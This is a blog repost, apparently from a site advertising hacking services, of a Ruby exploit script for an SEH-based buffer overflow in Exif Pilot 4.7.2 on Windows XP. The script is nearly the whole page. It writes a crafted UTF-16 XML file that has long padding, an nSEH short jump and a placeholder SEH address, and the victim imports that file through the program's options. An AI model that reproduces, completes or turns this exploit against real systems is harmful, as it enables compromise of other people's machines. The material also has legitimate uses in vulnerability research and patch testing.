Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863107266

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/env ruby
# Exploit Title: Exif Pilot SEH Based Buffer Overflow
# Version: version 4.7.2
# Download: http://www.colorpilot.com/load/exif.exe
# Tested on: Windows XP sp2
# Exploit Author: Osanda M. Jayathissa
# E-Mail: osanda[cat]unseen.is 

=begin
Click Tools > Options > Customize 35mm tab > Import > and choose "output.xml".
The p/p/r addresses contains null characters. 
=end
require 'rex'

def generate_content(padding1_len, padding2_len)
  header = "\xff\xfe"
  header << Rex::Text.to_unicode("<?xml version=\"1.0\" encoding=\"UTF-16\" ?>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("<efls>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("     <eflitem>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("          <maker>");
  header << Rex::Text.to_unicode("");

  for i in 0..padding1_len
    header << Rex::Text.to_unicode("A");
  end

  header << "\xeb\x00\x06\x00\x90\x00\x90\x00" #nSEH
  header << Rex::Text.to_unicode("CCCC"); #SEH

  for i in 0..padding2_len
    header << Rex::Text.to_unicode("A");
  end

  header << "\x0d\x00\x0a\x00\x09\x00\x09\x00"
  header << Rex::Text.to_unicode("  </maker>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("          <model>abc</model>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("          <factor>0.000000</factor>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("    </eflitem>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("</efls>")
  header << "\x0d\x00\x0a\x00"
  return header
end

##
# main
##

filename = 'output.xml'
output_handle = File.new(filename, 'wb')
if !output_handle
  $stdout.puts "Cannot open the file #{filename} for writing!"
  exit -1
end

header = generate_content(1619, 7000)

$stdout.puts "Generating file #{filename}"
output_handle.puts   header
output_handle.close

$stdout.puts "Done!"
exit 0
#EOF